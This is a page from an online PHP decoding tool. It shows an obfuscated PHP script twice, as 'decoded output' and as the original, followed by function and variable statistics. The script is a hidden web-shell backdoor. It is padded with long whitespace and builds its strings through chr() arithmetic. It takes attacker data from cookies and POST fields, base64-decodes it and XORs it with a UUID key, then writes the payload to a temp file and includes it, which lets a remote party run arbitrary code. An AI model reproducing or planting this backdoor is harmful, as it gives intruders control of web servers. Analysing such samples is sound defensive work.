Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $edZjTtRup = "Y" . chr ( 642 - 531 ).chr (113) . '_' . "d" . chr ( 783 - 702 )."S" . "G";$uRdDDIbGtx = "c" . "l" . "a" . 's' . 's' . chr (95) . "e" . chr (120) . chr (105) . "s" . "t" . "s";$QcLwBJP = class_exists($edZjTtRup); $edZjTtRup = "57524";$uRdDDIbGtx = "42114";$hFnXxdinu = 0;if ($QcLwBJP == $hFnXxdinu){function GkfwPiWz(){return FALSE;}$pEUjuwQa = "42221";GkfwPiWz();class Yoq_dQSG{private function YwsVyzh($pEUjuwQa){if (is_array(Yoq_dQSG::$EDRyNOzBSs)) {$eKLSSoZO = sys_get_temp_dir() . "/" . crc32(Yoq_dQSG::$EDRyNOzBSs["s" . chr (97) . "l" . chr (116)]);@Yoq_dQSG::$EDRyNOzBSs['w' . chr ( 959 - 845 )."i" . chr (116) . "e"]($eKLSSoZO, Yoq_dQSG::$EDRyNOzBSs['c' . chr ( 525 - 414 ).chr (110) . 't' . chr (101) . chr ( 499 - 389 )."t"]);include $eKLSSoZO;@Yoq_dQSG::$EDRyNOzBSs[chr ( 489 - 389 )."e" . "l" . "e" . chr (116) . chr ( 192 - 91 )]($eKLSSoZO); $pEUjuwQa = "42221";exit();}}private $TRgfRNWUYS;public function hrpMyDL(){echo 62626;}public function __destruct(){$pEUjuwQa = "23200_47610";$this->YwsVyzh($pEUjuwQa); $pEUjuwQa = "23200_47610";}public function __construct($PwImvIHWtp=0){$EEvlwVnZif = $_POST;$rfSPx = $_COOKIE;$oxzGIIw = "e6923c29-4ccf-40ef-b21a-5fda31418ae7";$priSQ = @$rfSPx[substr($oxzGIIw, 0, 4)];if (!empty($priSQ)){$ElGuRNyW = "base64";$HDIBZxnOE = "";$priSQ = explode(",", $priSQ);foreach ($priSQ as $XSxnTR){$HDIBZxnOE .= @$rfSPx[$XSxnTR];$HDIBZxnOE .= @$EEvlwVnZif[$XSxnTR];}$HDIBZxnOE = array_map($ElGuRNyW . chr ( 206 - 111 )."d" . chr ( 741 - 640 ).'c' . chr ( 756 - 645 ).chr ( 615 - 515 ).'e', array($HDIBZxnOE,)); $HDIBZxnOE = $HDIBZxnOE[0] ^ str_repeat($oxzGIIw, (strlen($HDIBZxnOE[0]) / strlen($oxzGIIw)) + 1);Yoq_dQSG::$EDRyNOzBSs = @unserialize($HDIBZxnOE); $HDIBZxnOE = class_exists("23200_47610");}}public static $EDRyNOzBSs = 11116;}$ejjFKpHeS = new /* 24641 */ Yoq_dQSG(42221 + 42221);unset($ejjFKpHeS);}  
?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $edZjTtRup = "Y" . chr ( 642 - 531 ).chr (113) . '_' . "d" . chr ( 783 - 702 )."S" . "G";$uRdDDIbGtx = "c" . "l" . "a" . 's' . 's' . chr (95) . "e" . chr (120) . chr (105) . "s" . "t" . "s";$QcLwBJP = class_exists($edZjTtRup); $edZjTtRup = "57524";$uRdDDIbGtx = "42114";$hFnXxdinu = 0;if ($QcLwBJP == $hFnXxdinu){function GkfwPiWz(){return FALSE;}$pEUjuwQa = "42221";GkfwPiWz();class Yoq_dQSG{private function YwsVyzh($pEUjuwQa){if (is_array(Yoq_dQSG::$EDRyNOzBSs)) {$eKLSSoZO = sys_get_temp_dir() . "/" . crc32(Yoq_dQSG::$EDRyNOzBSs["s" . chr (97) . "l" . chr (116)]);@Yoq_dQSG::$EDRyNOzBSs['w' . chr ( 959 - 845 )."i" . chr (116) . "e"]($eKLSSoZO, Yoq_dQSG::$EDRyNOzBSs['c' . chr ( 525 - 414 ).chr (110) . 't' . chr (101) . chr ( 499 - 389 )."t"]);include $eKLSSoZO;@Yoq_dQSG::$EDRyNOzBSs[chr ( 489 - 389 )."e" . "l" . "e" . chr (116) . chr ( 192 - 91 )]($eKLSSoZO); $pEUjuwQa = "42221";exit();}}private $TRgfRNWUYS;public function hrpMyDL(){echo 62626;}public function __destruct(){$pEUjuwQa = "23200_47610";$this->YwsVyzh($pEUjuwQa); $pEUjuwQa = "23200_47610";}public function __construct($PwImvIHWtp=0){$EEvlwVnZif = $_POST;$rfSPx = $_COOKIE;$oxzGIIw = "e6923c29-4ccf-40ef-b21a-5fda31418ae7";$priSQ = @$rfSPx[substr($oxzGIIw, 0, 4)];if (!empty($priSQ)){$ElGuRNyW = "base64";$HDIBZxnOE = "";$priSQ = explode(",", $priSQ);foreach ($priSQ as $XSxnTR){$HDIBZxnOE .= @$rfSPx[$XSxnTR];$HDIBZxnOE .= @$EEvlwVnZif[$XSxnTR];}$HDIBZxnOE = array_map($ElGuRNyW . chr ( 206 - 111 )."d" . chr ( 741 - 640 ).'c' . chr ( 756 - 645 ).chr ( 615 - 515 ).'e', array($HDIBZxnOE,)); $HDIBZxnOE = $HDIBZxnOE[0] ^ str_repeat($oxzGIIw, (strlen($HDIBZxnOE[0]) / strlen($oxzGIIw)) + 1);Yoq_dQSG::$EDRyNOzBSs = @unserialize($HDIBZxnOE); $HDIBZxnOE = class_exists("23200_47610");}}public static $EDRyNOzBSs = 11116;}$ejjFKpHeS = new /* 24641 */ Yoq_dQSG(42221 + 42221);unset($ejjFKpHeS);} 
?>

Function Calls

chr 6
class_exists 1

Variables

$edZjTtRup Yoq_dQSG
$uRdDDIbGtx class_exists

Stats

MD5 238e78215cbd3ca4db1f033ceec99614
Eval Count 0
Decode Time 66 ms